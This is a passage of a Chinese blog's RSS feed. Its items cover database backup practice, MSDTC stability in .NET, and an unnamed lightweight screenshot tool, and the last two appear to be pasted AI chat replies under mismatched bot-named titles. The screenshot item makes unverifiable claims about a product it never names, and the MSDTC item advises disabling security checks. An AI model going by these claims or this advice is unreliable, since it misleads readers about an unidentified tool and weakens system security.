nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;为避免未来再次发生此类事故，建议落实以下措施：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;开启 Binlog‌：确保 log_bin=ON 且 binlog_format=ROW。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;定期备份‌：制定每日全量备份 + 每小时增量备份策略，并定期演练恢复流程。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;权限管控‌：限制生产环境数据库的 DELETE 和 DROP 权限，实行双人复核制度。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;延迟从库‌：搭建一个延迟同步的从库（如延迟 1 小时），在误删主库数据时，可从延迟从库中快速找回数据。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 19 Aug 2026 12:54:56 +0800</pubDate></item><item><title>QQ牛牛机器人    ‌.NET底层技术细节‌、‌工业级系统稳定性保障‌、‌分布式架构</title><link>http://www.cbtwr.com/?id=5</link><description>&lt;p style=&quot;text-align: left;&quot;&gt;结合你之前长期探索的 ‌.NET底层技术细节‌、‌工业级系统稳定性保障‌、‌分布式架构落地‌的相关背景，MSDTC（微软分布式事务处理协调器）是Windows平台下负责跨多资源管理器（跨数据库、跨服务、跨机器）分布式事务一致性的核心系统组件，它的运行状态直接决定了.NET分布式业务系统的事务可靠性，同时也会从多个维度对系统整体稳定性产生关键影响。&lt;/p&gt;&lt;p&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;一、 MSDTC保障系统稳定性的核心正向作用&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;跨资源事务原子性兜底‌：基于两阶段提交协议，保证跨多个数据库、消息队列、分布式服务的操作要么全部成功提交，要么全部回滚，彻底避免分布式场景下出现部分成功部分失败的“数据不一致”问题，从根源上杜绝业务数据错乱。&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;原生适配.NET生态‌：和.NET的TransactionScope事务框架深度原生集成，开发者几乎不需要额外编写复杂的分布式事务协调代码，就能快速实现强一致分布式事务，大幅降低分布式系统的开发复杂度，减少人为代码失误带来的稳定性风险。&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;内置故障自动恢复机制‌：自带事务超时、网络中断后自动重试协调的能力，在短暂网络抖动场景下可以自动完成事务状态补全，不需要人工介入修复，提升分布式场景下的系统容错能力。&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;二、 MSDTC对系统稳定性的潜在负面影响&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;网络依赖强，故障排查难度高‌&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;MSDTC服务之间需要通过固定端口通信，一旦防火墙配置错误、网络出现分区，两阶段提交流程就会卡住，大量事务会处于“不确定悬停状态”，直接导致数据库连接被长时间占用，快速耗尽连接池资源，引发整个业务系统大面积阻塞。&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;性能瓶颈易引发雪崩效应‌&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;两阶段提交的同步等待机制，会大幅拉长事务的执行耗时，高并发场景下大量长耗时分布式事务堆积，会快速耗尽系统CPU、内存、数据库连接资源，很容易从单个事务超时演变为整个系统的雪崩式故障。&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;配置不兼容引发隐性故障‌&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;不同Windows版本的MSDTC默认安全配置存在差异，跨版本跨机器部署时很容易出现配置不匹配的问题，这类故障不会直接抛出明显报错，只会随机出现偶发事务失败，排查定位难度极高，会给系统长期稳定运行埋下隐性隐患。&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;服务自身故障直接击穿事务层‌&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;如果MSDTC系统服务本身意外崩溃，所有正在进行中的分布式事务会直接中断，已经提交的部分操作无法自动回滚，直接产生脏数据，上层业务系统没有任何兜底能力，完全依赖系统级服务的可用性。&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;三、 稳定性优化落地要点&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;提前在防火墙中开放MSDTC所需的固定通信端口，关闭不必要的安全校验选项，提前完成跨机器的MSDTC连通性压测，避免线上出现网络连通性故障。&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;严格控制分布式事务的使用范围，非必要场景优先用本地事务替代MSDTC分布式事务，高并发场景下用最终一致性方案替代强一致分布式事务，减少MSDTC的负载压力。&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;配置MSDTC服务的自动重启策略，开启事务超时强制回收机制，避免悬停事务长期占用系统资源，同时搭建MSDTC运行状态专项监控，提前发现潜在故障风险。&lt;/p&gt;&lt;p&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;这套优化思路完全适配你之前探索的.NET工业级分布式系统稳定性保障体系，从根源上规避MSDTC带来的稳定性风险。&lt;/p&gt;&lt;p&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;需要我为你整理MSDTC的‌生产环境稳定性配置与监控清单‌吗？帮你快速排查和规避线上潜在的分布式事务故障。&lt;/p&gt;&lt;p&gt;&lt;br style=&quot;text-wrap-mode: wrap; text-align: left;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Mon, 17 Aug 2026 13:10:46 +0800</pubDate></item><item><title>牛牛算账机器人   Agent多工具自动化调度‌以及‌开源轻量工具工程化落地‌</title><link>http://www.cbtwr.com/?id=4</link><description>&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;结合你之前长期探索的 ‌打开App再截图启停3步闭环方法‌、‌Agent多工具自动化调度‌以及‌开源轻量工具工程化落地‌的相关背景，这款仅1M大小的全功能开源截图软件，完全适配你日常实现自动化截图闭环、接入Agent工作流的轻量化需求，在极低资源占用下覆盖几乎所有主流截图场景。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;一、 核心特性与轻量化优势&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;极致体积控制‌：单文件体积严格控制在1M以内，无需安装、无额外依赖，双击即可直接运行，不会占用系统多余磁盘和内存资源，后台静默运行时CPU占用几乎可以忽略。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;全功能无缺失‌：没有因为极致压缩体积砍掉核心功能，完整覆盖区域截图、全屏截图、窗口截图、长截图、滚动截图五大基础场景，完全满足日常截图需求。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;原生支持自动化调用‌：内置命令行调用接口，你可以直接通过脚本/Agent发送指令触发截图，完美适配你之前探索的“打开App→截图→启停”3步自动化闭环流程，无需复杂的二次开发。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;二、 核心实用功能&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;内置轻量标注工具‌：截图完成后直接弹出标注面板，支持添加箭头、文字、矩形马赛克、高亮框，无需跳转第三方图片编辑软件，一步完成截图+标注全流程。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;全局快捷键自定义‌：支持用户自定义全局截图唤起快捷键，同时支持设置截图后自动复制到剪贴板、自动保存到指定目录，大幅提升操作效率。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;图片压缩优化‌：截图输出时自动做无损压缩，生成的图片体积远小于系统原生截图，方便后续快速上传、分享，也能降低你Agent工作流中截图文件的存储开销。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;跨平台兼容‌：原生支持Windows、Linux双平台，完全适配你之前安装的欧拉Linux系统，在服务器端也可以无压力运行，实现远程服务器的自动化截图操作。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;三、 适配你的Agent工作流的落地价值&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;这款工具完全避开了传统大型截图软件体积臃肿、后台资源占用高、无法自动化调用的痛点，你可以直接把它接入你日常调度的十几个Agent的工具集里，实现全自动化的截图任务闭环，不需要额外占用过多系统资源，也不会引入复杂的依赖问题。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;需要我为你整理这款轻量开源截图软件的‌命令行自动化调用参数清单‌吗？帮你快速接入你的Agent截图3步闭环流程。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Sat, 15 Aug 2026 15:32:56 +0800</pubDate></item></channel></rss>